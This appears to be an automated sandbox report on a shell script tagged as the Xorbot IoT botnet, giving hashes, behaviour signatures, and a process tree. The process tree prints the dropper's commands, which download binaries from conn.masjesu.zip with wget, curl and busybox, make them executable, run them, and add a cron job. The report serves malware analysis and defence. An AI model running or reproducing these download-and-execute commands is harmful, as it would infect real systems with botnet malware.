Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-02-2025 04:16

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3f3a9db2b6aa795d2e387871e5802a48

  • SHA1

    eb7cecee16a507e065aac9105801a18973554e0c

  • SHA256

    94a11ddc23e1ff0bdccae8d3ad1bd3b9b1f55673f65d1647714695984b1281b1

  • SHA512

    68f5fa7d816718ab2ccae4993f932827acccfb17ec9717fed1b7eb481c811d05414a9bf171e3691558eae6662ce2d61535935f654d82f4383571ebd9db84081a

  • SSDEEP

    192:XpMMGuGWGdGEGoGkLpBKyEKtGuGWGdGEGoGcb:XK35hkvbkLpBKJ5hkvbcb

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1499
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1500
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1501
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1506
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1508
      • /bin/chmod
        chmod 777 iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • File and Directory Permissions Modification
        PID:1509
      • /tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        ./iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
          PID:1510
        • /bin/rm
          rm iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
          2⤵
            PID:1512
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1513
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1514
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1516
          • /bin/chmod
            chmod 777 1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • File and Directory Permissions Modification
            PID:1517
          • /tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            ./1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
              PID:1518
            • /bin/rm
              rm 1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
              2⤵
                PID:1520
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1521
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1522
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1524
              • /bin/chmod
                chmod 777 pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • File and Directory Permissions Modification
                PID:1525
              • /tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                ./pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                  PID:1526
                • /bin/rm
                  rm pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                  2⤵
                    PID:1528
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Writes file to tmp directory
                    PID:1529
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Writes file to tmp directory
                    PID:1532
                  • /bin/chmod
                    chmod 777 nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1533
                  • /tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    ./nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:1534
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1536
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1537
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1538
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1539
                        • /bin/rm
                          rm nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                          2⤵
                            PID:1541
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                            2⤵
                            • System Network Configuration Discovery
                            PID:1544

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        • /tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          Download Submit

                        • /tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          Download Submit

                        • /tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          Download Submit

                        • /tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          Download Submit

                        • /var/spool/cron/crontabs/tmp.kQViu9
                          Filesize

                          210B

                          MD5

                          6898cdc01c23443249cc9ea67671c008

                          SHA1

                          64ebdabc1c18d95d28836abac9cb7f66ca53516a

                          SHA256

                          945d4d893fb35e37b740fc5e2628db3831d88771a235d5f7b6759e88c13f7a18

                          SHA512

                          65fd2a6b5dafb5b1cb7c31706d247b8377b283aa61c9fcdbba1dfde285e9642339d000d69485cc44627de46e4bd64546c13a77b61012c203122ae1c6e9a68f5a

                          Download Submit